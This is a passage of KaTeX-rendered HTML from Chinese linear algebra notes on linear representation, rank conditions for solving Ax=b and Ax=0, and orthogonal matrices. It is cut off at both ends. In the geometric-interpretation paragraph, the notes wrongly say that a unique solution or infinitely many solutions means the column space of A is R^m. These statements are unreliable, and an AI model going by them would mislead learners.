xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>α</mi><mo>=</mo><mo>−</mo><msub><mo>∑</mo><mi>i</mi></msub><mfrac><msub><mi>c</mi><mi>i</mi></msub><msub><mi>c</mi><mi>j</mi></msub></mfrac><msub><mi>e</mi><mi>i</mi></msub></mrow><annotation encoding="application/x-tex"> \alpha = - \sum_{i} \frac{c_i}{c_j} e_i </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal" style="margin-right:0.0037em;">α</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1.2923em;vertical-align:-0.5423em;"></span><span class="mord">−</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mop"><span class="mop op-symbol small-op" style="position:relative;top:0em;">∑</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.162em;"><span style="top:-2.4003em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">i</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2997em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.7115em;"><span style="top:-2.655em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight"><span class="mord mathnormal mtight">c</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3281em;"><span style="top:-2.357em;margin-left:0em;margin-right:0.0714em;"><span class="pstrut" style="height:2.5em;"></span><span class="sizing reset-size3 size1 mtight"><span class="mord mathnormal mtight" style="margin-right:0.05724em;">j</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2819em;"><span></span></span></span></span></span></span></span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.4101em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight"><span class="mord mathnormal mtight">c</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3281em;"><span style="top:-2.357em;margin-left:0em;margin-right:0.0714em;"><span class="pstrut" style="height:2.5em;"></span><span class="sizing reset-size3 size1 mtight"><span class="mord mathnormal mtight">i</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.143em;"><span></span></span></span></span></span></span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.5423em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mord"><span class="mord mathnormal">e</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">i</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span>，其中 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>e</mi><mi>i</mi></msub></mrow><annotation encoding="application/x-tex"> e_i </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.5806em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal">e</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">i</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span> 是主元列。(即取主元，然后组合 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>α</mi></mrow><annotation encoding="application/x-tex"> \alpha </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal" style="margin-right:0.0037em;">α</span></span></span></span> 的每一个元素)</p><ul><li><p>若 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>R</mi><mo stretchy="false">(</mo><mi>A</mi><mo stretchy="false">)</mo><mo>≤</mo><mi>R</mi><mo stretchy="false">(</mo><mi>B</mi><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex"> R(A) \le R(B) </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.00773em;">R</span><span class="mopen">(</span><span class="mord mathnormal">A</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">≤</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.00773em;">R</span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.05017em;">B</span><span class="mclose">)</span></span></span></span>，不能推出 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>A</mi></mrow><annotation encoding="application/x-tex"> A </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal">A</span></span></span></span> 可以被 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>B</mi></mrow><annotation encoding="application/x-tex"> B </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.05017em;">B</span></span></span></span> 线性表示。</p></li><li><p>若 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>α</mi><mn>1</mn></msub><mo separator="true">,</mo><msub><mi>α</mi><mn>2</mn></msub><mo separator="true">,</mo><mo>…</mo><mo separator="true">,</mo><msub><mi>α</mi><mi>n</mi></msub></mrow><annotation encoding="application/x-tex"> \alpha_1, \alpha_2, \ldots, \alpha_n </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.625em;vertical-align:-0.1944em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.0037em;">α</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.0037em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.0037em;">α</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.0037em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner">…</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.0037em;">α</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.1514em;"><span style="top:-2.55em;margin-left:-0.0037em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">n</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span> 线性相关，不能推出 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>α</mi><mi>i</mi></msub></mrow><annotation encoding="application/x-tex"> \alpha_i </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.5806em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.0037em;">α</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:-0.0037em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">i</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span> 可以被其他向量线性表示。</p></li></ul><h1 id="线性方程组的解"><a class="markdownIt-Anchor" href="#线性方程组的解"></a> 线性方程组的解</h1><p>设有线性方程组 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>A</mi><mi>x</mi><mo>=</mo><mi>b</mi></mrow><annotation encoding="application/x-tex"> Ax = b </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal">A</span><span class="mord mathnormal">x</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord mathnormal">b</span></span></span></span>，其中 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>A</mi></mrow><annotation encoding="application/x-tex"> A </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal">A</span></span></span></span> 是 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>m</mi><mo>×</mo><mi>n</mi></mrow><annotation encoding="application/x-tex"> m \times n </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6667em;vertical-align:-0.0833em;"></span><span class="mord mathnormal">m</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">×</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">n</span></span></span></span> 矩阵，<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>x</mi></mrow><annotation encoding="application/x-tex"> x </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">x</span></span></span></span> 是 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>n</mi><mo>×</mo><mn>1</mn></mrow><annotation encoding="application/x-tex"> n \times 1 </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6667em;vertical-align:-0.0833em;"></span><span class="mord mathnormal">n</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">×</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">1</span></span></span></span> 向量，<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>b</mi></mrow><annotation encoding="application/x-tex"> b </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord mathnormal">b</span></span></span></span> 是 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>m</mi><mo>×</mo><mn>1</mn></mrow><annotation encoding="application/x-tex"> m \times 1 </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6667em;vertical-align:-0.0833em;"></span><span class="mord mathnormal">m</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">×</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">1</span></span></span></span> 向量。</p><p>考虑 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>A</mi><mi>x</mi><mo>=</mo><mi>b</mi></mrow><annotation encoding="application/x-tex"> Ax=b </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal">A</span><span class="mord mathnormal">x</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord mathnormal">b</span></span></span></span>：</p><ul><li>有解 -&gt; <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>R</mi><mo stretchy="false">(</mo><mi>A</mi><mo stretchy="false">)</mo><mo>=</mo><mi>R</mi><mo stretchy="false">(</mo><mo stretchy="false">[</mo><mi>A</mi><mo separator="true">,</mo><mi>b</mi><mo stretchy="false">]</mo><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex"> R(A) = R([A, b]) </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.00773em;">R</span><span class="mopen">(</span><span class="mord mathnormal">A</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.00773em;">R</span><span class="mopen">([</span><span class="mord mathnormal">A</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal">b</span><span class="mclose">])</span></span></span></span></li><li><ul><li>唯一解 -&gt; <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>R</mi><mo stretchy="false">(</mo><mi>A</mi><mo stretchy="false">)</mo><mo>=</mo><mi>n</mi></mrow><annotation encoding="application/x-tex"> R(A) = n </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.00773em;">R</span><span class="mopen">(</span><span class="mord mathnormal">A</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">n</span></span></span></span></li></ul></li><li><ul><li>无穷多解 -&gt; <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>R</mi><mo stretchy="false">(</mo><mi>A</mi><mo stretchy="false">)</mo><mo>&lt;</mo><mi>n</mi></mrow><annotation encoding="application/x-tex"> R(A) &lt; n </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.00773em;">R</span><span class="mopen">(</span><span class="mord mathnormal">A</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">&lt;</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">n</span></span></span></span></li></ul></li><li>无解 -&gt; <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>R</mi><mo stretchy="false">(</mo><mi>A</mi><mo stretchy="false">)</mo><mo>&lt;</mo><mi>R</mi><mo stretchy="false">(</mo><mo stretchy="false">[</mo><mi>A</mi><mo separator="true">,</mo><mi>b</mi><mo stretchy="false">]</mo><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex"> R(A) &lt; R([A, b]) </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.00773em;">R</span><span class="mopen">(</span><span class="mord mathnormal">A</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">&lt;</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.00773em;">R</span><span class="mopen">([</span><span class="mord mathnormal">A</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal">b</span><span class="mclose">])</span></span></span></span></li></ul><p>考虑齐次线性方程组 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>A</mi><mi>x</mi><mo>=</mo><mn>0</mn></mrow><annotation encoding="application/x-tex"> Ax = 0 </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal">A</span><span class="mord mathnormal">x</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">0</span></span></span></span>：</p><ul><li>R(A) = n -&gt; 唯一解 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>x</mi><mo>=</mo><mn>0</mn></mrow><annotation encoding="application/x-tex"> x = 0 </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">x</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">0</span></span></span></span></li><li>R(A) &lt; n -&gt; 无穷多解</li></ul><hr /><p>从几何上看，线性方程组 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>A</mi><mi>x</mi><mo>=</mo><mi>b</mi></mrow><annotation encoding="application/x-tex"> Ax = b </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal">A</span><span class="mord mathnormal">x</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord mathnormal">b</span></span></span></span> 有解，表示向量 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>b</mi></mrow><annotation encoding="application/x-tex"> b </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord mathnormal">b</span></span></span></span> 可以被矩阵 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>A</mi></mrow><annotation encoding="application/x-tex"> A </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal">A</span></span></span></span> 的列空间线性表示。</p><p>如果有唯一解，表示矩阵 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>A</mi></mrow><annotation encoding="application/x-tex"> A </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal">A</span></span></span></span> 的列空间是 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msup><mi mathvariant="double-struck">R</mi><mi>m</mi></msup></mrow><annotation encoding="application/x-tex"> \mathbb{R}^m </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6889em;"></span><span class="mord"><span class="mord mathbb">R</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.6644em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">m</span></span></span></span></span></span></span></span></span></span></span>，且矩阵 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>A</mi></mrow><annotation encoding="application/x-tex"> A </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal">A</span></span></span></span> 的列向量线性无关。</p><p>如果有无穷多解，表示矩阵 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>A</mi></mrow><annotation encoding="application/x-tex"> A </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal">A</span></span></span></span> 的列空间是 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msup><mi mathvariant="double-struck">R</mi><mi>m</mi></msup></mrow><annotation encoding="application/x-tex"> \mathbb{R}^m </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6889em;"></span><span class="mord"><span class="mord mathbb">R</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.6644em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">m</span></span></span></span></span></span></span></span></span></span></span>，但矩阵 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>A</mi></mrow><annotation encoding="application/x-tex"> A </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal">A</span></span></span></span> 的列向量线性相关。</p><p>如果无解，表示向量 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>b</mi></mrow><annotation encoding="application/x-tex"> b </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord mathnormal">b</span></span></span></span> 不在矩阵 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>A</mi></mrow><annotation encoding="application/x-tex"> A </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal">A</span></span></span></span> 的列空间内。</p><!-- # Big picture四个子空间代表了矩阵 $ A $ 对 $ x $ 的映射关系：- 列空间 Column Space：矩阵 $ A $ 的列空间是所有可能的 $ Ax $ 的集合，表示矩阵 $ A $ 可以映射到的空间。- 零空间 Null Space：矩阵 $ A $ 的零空间是所有满足 $ Ax = 0 $ 的 $ x $ 的集合，表示矩阵 $ A $ 映射到零向量的输入。- 行空间 Row Space：矩阵 $ A $ 的行空间是矩阵 $ A^T $ 的列空间，表示矩阵 $ A $ 的行向量所张成的空间。同时也是 $x$ 所在空间。- 左零空间 Left Null Space：矩阵 $ A $ 的左零空间是所有满足 $ A^T y = 0 $ 的 $ y $ 的集合，表示矩阵 $ A^T $ 映射到零向量的输入。 --><h1 id="正交矩阵-orthogonal-matrix"><a class="markdownIt-Anchor" href="#正交矩阵-orthogonal-matrix"></a> 正交矩阵 Orthogonal Matrix</h1><p>正交矩阵有 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>Q</mi></mrow><annotation encoding="application/x-tex"> Q </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8778em;vertical-align:-0.1944em;"></span><span class="mord mathnormal">Q</span></span></span></span> 满足 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msup><mi>Q</mi><mi>T</mi></msup><mi>Q</mi><mo>=</mo><mi>I</mi></mrow><annotation encoding="application/x-tex"> Q^T Q = I </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1.0358em;vertical-align:-0.1944em;"></span><span class="mord"><span class="mord mathnormal">Q</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8413em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.13889em;">T</span></span></span></span></span></span></span></span><span class="mord mathnormal">Q</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.07847em;">I</span></span></span></span>。</p><p>因为 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>Q</mi></mrow><annotation encoding="application/x-tex"> Q </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8778em;vertical-align:-0.1944em;"></span><span class="mord mathnormal">Q</span></span></span></span> 的每一列 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>q</mi><mi>i</mi></msub></mrow><annotation encoding="application/x-tex"> q_i </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.625em;vertical-align:-0.1944em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.03588em;">q</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:-0.0359em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">i</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span> 都是单位向量，并且两两正交，所以 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msup><mi>q</mi><mi>T</mi></msup><mi>q</mi><mo>=</mo><mn>1</mn></mrow><annotation encoding="application/x-tex"> q^T q = 1 </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1.0358em;vertical-align:-0.1944em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.03588em;">q</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8413em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.13889em;">T</span></span></span></span></span></span></span></span><span class="mord mathnormal" style="margin-right:0.03588em;">q</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">1</span></span></span></span>。</p><p>因此，在 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>Q</mi></mrow><annotation encoding="application/x-tex"> Q </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8778em;vertical-align:-0.1944em;"></span><span class="mord mathnormal">Q</span></span></span></span> 和 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msup><mi>Q</mi><mi>T</mi></msup></mrow><annotation encoding="application/x-tex"> Q^T </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1.0358em;vertical-align:-0.1944em;"></span><span class="mord"><span class="mord mathnormal">Q</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8413em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.13889em;">T</span></span></span></span></span></span></span></span></span></span></span> 相乘时，对应元素为 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>Q</mi><mi>i</mi></msub><mo>∗</mo><msubsup><mi>Q</mi><mi>j</mi><mi>T</mi></msubsup></mrow><annotation 